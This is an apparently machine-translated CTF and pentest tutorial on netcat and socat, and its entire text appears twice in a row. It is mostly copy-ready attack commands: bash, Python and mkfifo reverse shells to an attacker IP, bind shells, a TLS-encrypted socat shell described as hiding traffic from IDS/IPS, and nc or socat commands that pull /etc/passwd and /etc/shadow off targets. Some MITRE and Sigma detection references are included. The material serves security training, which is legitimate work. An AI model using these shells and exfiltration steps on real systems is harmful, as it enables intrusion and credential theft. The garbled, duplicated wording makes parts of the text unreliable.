Netcat: connection to remote server in CTF
Netcat and pwn tasks – basic workflow
Netcat (nc) is a utility for reading and writing data through TCP and UDP connections. It is often referred to as the “Swiss knife” of network utilities, and here without exaggeration: scanning ports, transferring files, discarding connections – all through one command. On Jeopardy-CTF, this is the first thing you run to work with pwn-tasks: the organizers raise the binary on the server through socat or xinetd, participants are given a connection string.
Connection Team: nc challenge.ctf.com 31337. The TCP connection to the host on port 31337 is opened. In the terminal there is a binary output - an invitation to enter, a banner, a task condition. Everything recruited in the terminal goes to the stdin process on the server, its stdout is returned back. In fact, netcat creates a “pipe” between your keyboard and a remote process.
Key flags for connection: -v – verbose (shows status), -n – without DNS-resolving (faster when specifying IP). For local debugging: nc -v localhost 1337 after lifting the binary through socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./vuln_binary.
A typical beginner error: gaining nc -lp 31337 challenge.ctf.com – confuses regimes. Flag -l transfers netcat to listener mode. No listener is needed to connect to the service. The rule is simple: -l - listen, without -l – connect.
Check the version: nc -h 2>&1 | head -1. On Kali Linux 2024+ by default stands ncat from Nmap — the middle ground between the simplicity of the original netcat and the capabilities of the socat.
If the binary is waiting for binary data (buffer exploit overflow), pure netcat is inconvenient for the formation of payload. It is easier to take pwntools with remote('host', port) or transfer payload via pipe: python3 exploit.py | nc challenge.ctf.com 31337. But netcat remains the base – it works in restricted shell, does not require Python and helps when debugging network problems when pwntools masks low-level errors behind their abstractions.
Reverse shell netcat — from listener to stabilization
Reverse shell – the target machine itself initiates an outgoing TCP connection to the attacker. In the attacking scenario, this is a key element of post-exploitation: firewalls usually skip outgoing traffic, but cut incoming connections on non-standard ports. According to the classification of MITRE ATT & CK, the launch of the shell through the bash technique Unix Shell (T1059.004, Execution), the reverse connection falls under the Remote Access Tools (T1219, Command and Control), the use of non-standard ports - Non-Standard Port (T1571, Command and Control).
Why it's on the CTF: through RCE-vulnerability, it was possible to execute code on the server, but a single-line output is not enough. You need a full-fledged interactive shell - read files, look for a flag, escalate privileges. Reverse shell - bridge between "found a hole" and "working on the car".
The scheme of work by steps:
On the attacking machine – listener: nc -lvnp 4444. Flag selection: -l - listen, -v – verbose, -n without the DNS, -p 4444 – port of audition. The terminal is “hovered” waiting – and it is intended.
On the target machine – payload: bash -i >& /dev/tcp/10.10.10.1/4444 0>&1. Here bash -i launches an interactive shell, >& /dev/tcp/IP/PORT redirects stdout and stderr to TCP connection (/dev/tcp/IP/PORT – not a real file in the file system, but a built-in pseudo-construction bash; support is enabled by the flag --enable-net-redirections when assembling bash, and the redirect itself is interpreted during execution), 0>&1 Redirects stdin there.
In the terminal of the attacker appears a string of the species www-data@target:/$. Teams id, whoami, ls work.
Preconditions: bash on the target machine is compiled with support /dev/tcp (flag --enable-net-redirections at the compilation stage). This is not guaranteed – Debian, for example, traditionally disables this option. Check: bash -c "echo > /dev/tcp/127.0.0.1/1" 2>/dev/null && echo supported. On Debian and Ubuntu /bin/sh - is this a dash, which /dev/tcp not in principle. If payload is performed through /bin/sh, clearly indicate: bash -c 'bash -i >& /dev/tcp/10.10.10.1/4444 0>&1'.
Port selection: at the training stand - any free (444, 9001, 1337). On the real pentest, the reverse shell is launched on ports 80 or 443: they are usually allowed for outgoing connections even with rigid egress filtering.
If bash is unavailable, but there is Python – alternative payload: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'. A single-liner creates a TCP socket, connects to a listener, and redirects the stdin/stdout/stderr to the connection.
Two classic errors (all come): the IP is mixed up - instead of the address of the attacker, the target address is substituted, the connection goes "to nowhere"; the port is confused - listener on 4444, payload on 4445, the connection is not established. Check both values before starting. I lost ten minutes on the CTF once on a confused IP – it is offensive.
How to throw shells through netcat without flag -e
On most distributions, netcat is supplied without a flag -e (in the source code, this functionality is called GAPING_SECURITY_HOLE – name speaking). Team nc -e /bin/sh 10.10.10.1 4444 will issue a mistake. Bypass – named channel:
rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.10.1 4444 > /tmp/f
Parsing: mkfifo /tmp/f creates a FIFO file. The output nc (the offensiveer commands obtained through the socket) is redirected > /tmp/f in FIFO, cat they are read and transmitted to stdin /bin/sh. Shell 's output through the pipe goes to the stdin nc, which sends it back to the attacker through the socket. The closed cycle is beautiful, if you think about it.
If /tmp mounted with noexec or the record is prohibited - create a pipe in /dev/shm or the home directory of the current user. File /tmp/f already exists as a normal file — mkfifo will return the error, so rm /tmp/f Worth the first team.
TTY stabilization – from dumb shell to the work terminal
The resulting reverse shell is “dumb shell”. Ctrl+C kills the entire connection, the Tab auto-complement does not work, su can not request a password (no PTY for interactive input), arrows output escape sequences instead of navigating history. On CTF, this directly blocks the escalation of privileges: for privesc, you often need to run su to change the user or edit the file in nano.
Complete stabilization through stty - the recommended method:
python3 -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo; fg
export TERM=xterm
stty rows 40 cols 120
After that, the Tab, the arrows, Ctrl+C interrupts the current command (rather than kills the session), su Requests the password correctly. If python3 is missing on target, try script -qc /bin/bash /dev/null (script utility is on almost any Linux) or Python 2: python -c 'import pty; pty.spawn("/bin/bash")'.
The mistake that everyone is coming: forget stty raw -echo before fg. Without this step, pty is formally there, but the signals are processed crookedly - shell is semi-stabilized and behaves unpredictably. Another common pain is the size of the terminal: if not exposed stty rows and cols, the output of long commands "breaks" in width. The little thing, and to debug painfully.
Bind shell socat and netcat – alternative scenario
Bind shell - reverse scheme: the target machine opens the port and is waiting for the incoming connection. The attacker connects to this port and receives a shell.
Bind shell via netcat (if flag -e available): on target — nc -lvnp 4444 -e /bin/bash, on the attacking — nc -nv 10.10.10.2 4444. Through socat: on target — socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash, on the attacking — socat - TCP:10.10.10.2:4444.
On CTF bind shell is really useful in one scenario: setting up a local stand for debugging. Team socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./vuln_binary – a standard way to raise a pwn task on your machine. Flag reuseaddr allows you to reuse the port immediately after closing the connection, fork creates a new process for each connection – you can reconnect repeatedly without restarting.
When the bind shell does not work: firewalls cut incoming connections on non-standard ports, the goal for NAT is not to get to it. In real pentests bind shell is used very rarely.
The difference in one sentence: reverse shell — the goal connects to you, bind shell — you connect to the target. On CTFs, the reverse shell is needed in the vast majority of cases.
Socat listener setup and socat encrypted shell
Socat – netcat on steroids: SSL/TLS support, PTY-allocation out of the box, UNIX sockets and dozens of types of compounds. The reverse side: the socat is rarely preset on the target machines, and the syntax requires getting used to (to put it mildly).
Basic socat reverse shell: on the attacker — socat -d -d TCP-LISTEN:4444 STDOUT, on the target — socat TCP:10.10.10.1:4444 EXEC:/bin/bash. Double -d includes a detailed debug output.
The main feature of the socat is the built-in PTY-allocation. Team socat TCP:10.10.10.1:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint on the target creates a shell with a full-fledged pseudo-terminal. The result is a stable terminal without manual stabilization through stty. Parsing options after EXEC: pty – highlight PTY, stderr – redirect the stderr, setsid Create a new session, sigint – correctly process Ctrl+C.
On the listener side for full work with PTY: socat TCP-LISTEN:4444 FILE:$(tty),raw,echo=0. Your terminal is automatically transferred to raw mode – analogue stty raw -echo, only without hand dancing.
Basic netcat (netcat-openbsd, GNU netcat) does not know how to work with SSL/TLS in general. Ncat from Nmap supports --ssl, but without the flexibility of the socat. If you need encryption, socat is the only option from the standard set.
Socat encrypted shell — connection encryption
In CTF tasks, backchannel encryption is rare, but on the pentest it is critical for bypassing IDS/IPS. Sigma Rule lnx_shell_susp_rev_shells.yml (SigmaHQ) detects suspicious command lines of the view bash -i, /dev/tcp at the process level, such a detective does not depend on the encryption of the channel. But encryption hides the content of traffic from network IDS/IPS.
openssl req -newkey rsa:2048 -nodes -keyout s.key \
-x509 -days 7 -out s.crt -subj '/CN=test'
cat s.key s.crt > s.pem
socat OPENSSL-LISTEN:4444,cert=s.pem,verify=0 -
socat OPENSSL:10.10.10.1:4444,verify=0 EXEC:/bin/bash
verify=0 disables certificate check (self-signed). There is enough for the training stand. All traffic is encrypted by TLS – IDS does not see the contents of the commands.
On the part of the defense (MITRE D3FEND), Outbound Traffic Filtering (D3-OTF) is used to counteract – the restriction of outgoing connections on non-standard ports, and Remote Terminal Session Detection (D3-RTSD) – the detection of the very fact of remote sessions regardless of the encryption of the content.
Transfer files through netcat and socat
On CTF regularly you need to drag the file: download the exploit binary for local analysis, download to the target machine, pull out /etc/shadow after receiving the shell. When SCP, SFTP and HTTP are not available – netcat and socat solve the task.
Transfer files through netcat
Download file from target to attacker: attacking — nc -lvnp 4444 > stolen_file (listener with redirection to file), target — nc -nv 10.10.10.1 4444 < /etc/passwd (sending a file). Download file to target: target — nc -lvnp 4444 > exploit.py (expectation), attacking – nc -nv 10.10.10.2 4444 < exploit.py (sending).
Netcat doesn’t show progress or report completion – just hanging. You need to wait for the end and interrupt the connection (Ctrl+C). To check the integrity: md5sum exploit.py On both sides, the hashes must coincide.
Transfer of a whole catalog with compression: on the sending side — tar czf - /path/to/dir | nc -nv 10.10.10.1 4444, on the receiving — nc -lvnp 4444 | tar xzf -. Archiving and unpacking on the fly – one team.
Transfer files through socat
Socat is more convenient for file transfer - supports auto-close the connection after completion. Sending File: Host — socat TCP-LISTEN:4444,reuseaddr FILE:received_file,create, sending — socat TCP:10.10.10.1:4444 FILE:/etc/passwd,rdonly. Socat will automatically close the connection – you do not need to press Ctrl+C and guess whether the transfer has ended.
If you need to transmit through an encrypted channel, the same options OPENSSL-LISTEN and OPENSSL work for files: socat OPENSSL-LISTEN:4444,cert=s.pem,verify=0 FILE:received_file,create on the receiving, socat OPENSSL:10.10.10.1:4444,verify=0 FILE:secret_data,rdonly on the sending.
Netcat and pwn tasks – basic workflow
Netcat (nc) is a utility for reading and writing data through TCP and UDP connections. It is often referred to as the “Swiss knife” of network utilities, and here without exaggeration: scanning ports, transferring files, discarding connections – all through one command. On Jeopardy-CTF, this is the first thing you run to work with pwn-tasks: the organizers raise the binary on the server through socat or xinetd, participants are given a connection string.
Connection Team: nc challenge.ctf.com 31337. The TCP connection to the host on port 31337 is opened. In the terminal there is a binary output - an invitation to enter, a banner, a task condition. Everything recruited in the terminal goes to the stdin process on the server, its stdout is returned back. In fact, netcat creates a “pipe” between your keyboard and a remote process.
Key flags for connection: -v – verbose (shows status), -n – without DNS-resolving (faster when specifying IP). For local debugging: nc -v localhost 1337 after lifting the binary through socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./vuln_binary.
A typical beginner error: gaining nc -lp 31337 challenge.ctf.com – confuses regimes. Flag -l transfers netcat to listener mode. No listener is needed to connect to the service. The rule is simple: -l - listen, without -l – connect.
Check the version: nc -h 2>&1 | head -1. On Kali Linux 2024+ by default stands ncat from Nmap — the middle ground between the simplicity of the original netcat and the capabilities of the socat.
If the binary is waiting for binary data (buffer exploit overflow), pure netcat is inconvenient for the formation of payload. It is easier to take pwntools with remote('host', port) or transfer payload via pipe: python3 exploit.py | nc challenge.ctf.com 31337. But netcat remains the base – it works in restricted shell, does not require Python and helps when debugging network problems when pwntools masks low-level errors behind their abstractions.
Reverse shell netcat — from listener to stabilization
Reverse shell – the target machine itself initiates an outgoing TCP connection to the attacker. In the attacking scenario, this is a key element of post-exploitation: firewalls usually skip outgoing traffic, but cut incoming connections on non-standard ports. According to the classification of MITRE ATT & CK, the launch of the shell through the bash technique Unix Shell (T1059.004, Execution), the reverse connection falls under the Remote Access Tools (T1219, Command and Control), the use of non-standard ports - Non-Standard Port (T1571, Command and Control).
Why it's on the CTF: through RCE-vulnerability, it was possible to execute code on the server, but a single-line output is not enough. You need a full-fledged interactive shell - read files, look for a flag, escalate privileges. Reverse shell - bridge between "found a hole" and "working on the car".
The scheme of work by steps:
On the attacking machine – listener: nc -lvnp 4444. Flag selection: -l - listen, -v – verbose, -n without the DNS, -p 4444 – port of audition. The terminal is “hovered” waiting – and it is intended.
On the target machine – payload: bash -i >& /dev/tcp/10.10.10.1/4444 0>&1. Here bash -i launches an interactive shell, >& /dev/tcp/IP/PORT redirects stdout and stderr to TCP connection (/dev/tcp/IP/PORT – not a real file in the file system, but a built-in pseudo-construction bash; support is enabled by the flag --enable-net-redirections when assembling bash, and the redirect itself is interpreted during execution), 0>&1 Redirects stdin there.
In the terminal of the attacker appears a string of the species www-data@target:/$. Teams id, whoami, ls work.
Preconditions: bash on the target machine is compiled with support /dev/tcp (flag --enable-net-redirections at the compilation stage). This is not guaranteed – Debian, for example, traditionally disables this option. Check: bash -c "echo > /dev/tcp/127.0.0.1/1" 2>/dev/null && echo supported. On Debian and Ubuntu /bin/sh - is this a dash, which /dev/tcp not in principle. If payload is performed through /bin/sh, clearly indicate: bash -c 'bash -i >& /dev/tcp/10.10.10.1/4444 0>&1'.
Port selection: at the training stand - any free (444, 9001, 1337). On the real pentest, the reverse shell is launched on ports 80 or 443: they are usually allowed for outgoing connections even with rigid egress filtering.
If bash is unavailable, but there is Python – alternative payload: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'. A single-liner creates a TCP socket, connects to a listener, and redirects the stdin/stdout/stderr to the connection.
Two classic errors (all come): the IP is mixed up - instead of the address of the attacker, the target address is substituted, the connection goes "to nowhere"; the port is confused - listener on 4444, payload on 4445, the connection is not established. Check both values before starting. I lost ten minutes on the CTF once on a confused IP – it is offensive.
How to throw shells through netcat without flag -e
On most distributions, netcat is supplied without a flag -e (in the source code, this functionality is called GAPING_SECURITY_HOLE – name speaking). Team nc -e /bin/sh 10.10.10.1 4444 will issue a mistake. Bypass – named channel:
rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.10.1 4444 > /tmp/f
Parsing: mkfifo /tmp/f creates a FIFO file. The output nc (the offensiveer commands obtained through the socket) is redirected > /tmp/f in FIFO, cat they are read and transmitted to stdin /bin/sh. Shell 's output through the pipe goes to the stdin nc, which sends it back to the attacker through the socket. The closed cycle is beautiful, if you think about it.
If /tmp mounted with noexec or the record is prohibited - create a pipe in /dev/shm or the home directory of the current user. File /tmp/f already exists as a normal file — mkfifo will return the error, so rm /tmp/f Worth the first team.
TTY stabilization – from dumb shell to the work terminal
The resulting reverse shell is “dumb shell”. Ctrl+C kills the entire connection, the Tab auto-complement does not work, su can not request a password (no PTY for interactive input), arrows output escape sequences instead of navigating history. On CTF, this directly blocks the escalation of privileges: for privesc, you often need to run su to change the user or edit the file in nano.
Complete stabilization through stty - the recommended method:
python3 -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo; fg
export TERM=xterm
stty rows 40 cols 120
After that, the Tab, the arrows, Ctrl+C interrupts the current command (rather than kills the session), su Requests the password correctly. If python3 is missing on target, try script -qc /bin/bash /dev/null (script utility is on almost any Linux) or Python 2: python -c 'import pty; pty.spawn("/bin/bash")'.
The mistake that everyone is coming: forget stty raw -echo before fg. Without this step, pty is formally there, but the signals are processed crookedly - shell is semi-stabilized and behaves unpredictably. Another common pain is the size of the terminal: if not exposed stty rows and cols, the output of long commands "breaks" in width. The little thing, and to debug painfully.
Bind shell socat and netcat – alternative scenario
Bind shell - reverse scheme: the target machine opens the port and is waiting for the incoming connection. The attacker connects to this port and receives a shell.
Bind shell via netcat (if flag -e available): on target — nc -lvnp 4444 -e /bin/bash, on the attacking — nc -nv 10.10.10.2 4444. Through socat: on target — socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash, on the attacking — socat - TCP:10.10.10.2:4444.
On CTF bind shell is really useful in one scenario: setting up a local stand for debugging. Team socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./vuln_binary – a standard way to raise a pwn task on your machine. Flag reuseaddr allows you to reuse the port immediately after closing the connection, fork creates a new process for each connection – you can reconnect repeatedly without restarting.
When the bind shell does not work: firewalls cut incoming connections on non-standard ports, the goal for NAT is not to get to it. In real pentests bind shell is used very rarely.
The difference in one sentence: reverse shell — the goal connects to you, bind shell — you connect to the target. On CTFs, the reverse shell is needed in the vast majority of cases.
Socat listener setup and socat encrypted shell
Socat – netcat on steroids: SSL/TLS support, PTY-allocation out of the box, UNIX sockets and dozens of types of compounds. The reverse side: the socat is rarely preset on the target machines, and the syntax requires getting used to (to put it mildly).
Basic socat reverse shell: on the attacker — socat -d -d TCP-LISTEN:4444 STDOUT, on the target — socat TCP:10.10.10.1:4444 EXEC:/bin/bash. Double -d includes a detailed debug output.
The main feature of the socat is the built-in PTY-allocation. Team socat TCP:10.10.10.1:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint on the target creates a shell with a full-fledged pseudo-terminal. The result is a stable terminal without manual stabilization through stty. Parsing options after EXEC: pty – highlight PTY, stderr – redirect the stderr, setsid Create a new session, sigint – correctly process Ctrl+C.
On the listener side for full work with PTY: socat TCP-LISTEN:4444 FILE:$(tty),raw,echo=0. Your terminal is automatically transferred to raw mode – analogue stty raw -echo, only without hand dancing.
Basic netcat (netcat-openbsd, GNU netcat) does not know how to work with SSL/TLS in general. Ncat from Nmap supports --ssl, but without the flexibility of the socat. If you need encryption, socat is the only option from the standard set.
Socat encrypted shell — connection encryption
In CTF tasks, backchannel encryption is rare, but on the pentest it is critical for bypassing IDS/IPS. Sigma Rule lnx_shell_susp_rev_shells.yml (SigmaHQ) detects suspicious command lines of the view bash -i, /dev/tcp at the process level, such a detective does not depend on the encryption of the channel. But encryption hides the content of traffic from network IDS/IPS.
openssl req -newkey rsa:2048 -nodes -keyout s.key \
-x509 -days 7 -out s.crt -subj '/CN=test'
cat s.key s.crt > s.pem
socat OPENSSL-LISTEN:4444,cert=s.pem,verify=0 -
socat OPENSSL:10.10.10.1:4444,verify=0 EXEC:/bin/bash
verify=0 disables certificate check (self-signed). There is enough for the training stand. All traffic is encrypted by TLS – IDS does not see the contents of the commands.
On the part of the defense (MITRE D3FEND), Outbound Traffic Filtering (D3-OTF) is used to counteract – the restriction of outgoing connections on non-standard ports, and Remote Terminal Session Detection (D3-RTSD) – the detection of the very fact of remote sessions regardless of the encryption of the content.
Transfer files through netcat and socat
On CTF regularly you need to drag the file: download the exploit binary for local analysis, download to the target machine, pull out /etc/shadow after receiving the shell. When SCP, SFTP and HTTP are not available – netcat and socat solve the task.
Transfer files through netcat
Download file from target to attacker: attacking — nc -lvnp 4444 > stolen_file (listener with redirection to file), target — nc -nv 10.10.10.1 4444 < /etc/passwd (sending a file). Download file to target: target — nc -lvnp 4444 > exploit.py (expectation), attacking – nc -nv 10.10.10.2 4444 < exploit.py (sending).
Netcat doesn’t show progress or report completion – just hanging. You need to wait for the end and interrupt the connection (Ctrl+C). To check the integrity: md5sum exploit.py On both sides, the hashes must coincide.
Transfer of a whole catalog with compression: on the sending side — tar czf - /path/to/dir | nc -nv 10.10.10.1 4444, on the receiving — nc -lvnp 4444 | tar xzf -. Archiving and unpacking on the fly – one team.
Transfer files through socat
Socat is more convenient for file transfer - supports auto-close the connection after completion. Sending File: Host — socat TCP-LISTEN:4444,reuseaddr FILE:received_file,create, sending — socat TCP:10.10.10.1:4444 FILE:/etc/passwd,rdonly. Socat will automatically close the connection – you do not need to press Ctrl+C and guess whether the transfer has ended.
If you need to transmit through an encrypted channel, the same options OPENSSL-LISTEN and OPENSSL work for files: socat OPENSSL-LISTEN:4444,cert=s.pem,verify=0 FILE:received_file,create on the receiving, socat OPENSSL:10.10.10.1:4444,verify=0 FILE:secret_data,rdonly on the sending.